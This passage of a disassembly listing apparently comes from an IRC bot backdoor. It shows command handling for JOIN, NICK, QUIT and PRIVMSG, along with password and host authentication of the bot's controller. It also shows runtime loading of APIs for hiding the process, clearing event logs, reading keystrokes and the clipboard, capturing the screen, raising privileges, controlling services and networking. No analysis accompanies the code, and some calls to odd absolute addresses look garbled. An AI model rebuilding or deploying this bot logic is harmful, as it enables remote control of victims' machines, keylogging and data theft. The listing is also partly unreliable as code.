		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 26A068Bh


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	near ptr 26A068Bh
		nop

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	near ptr 26B0669h
		nop
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26E0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	near ptr 26B0669h
		nop
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	near ptr 26B0669h
		nop
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


